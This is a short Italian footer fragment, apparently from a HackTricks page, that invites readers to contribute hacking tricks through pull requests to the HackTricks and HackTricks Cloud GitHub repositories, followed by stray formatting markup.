* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
|
|
|
</details>
|
|
{% endhint %}
|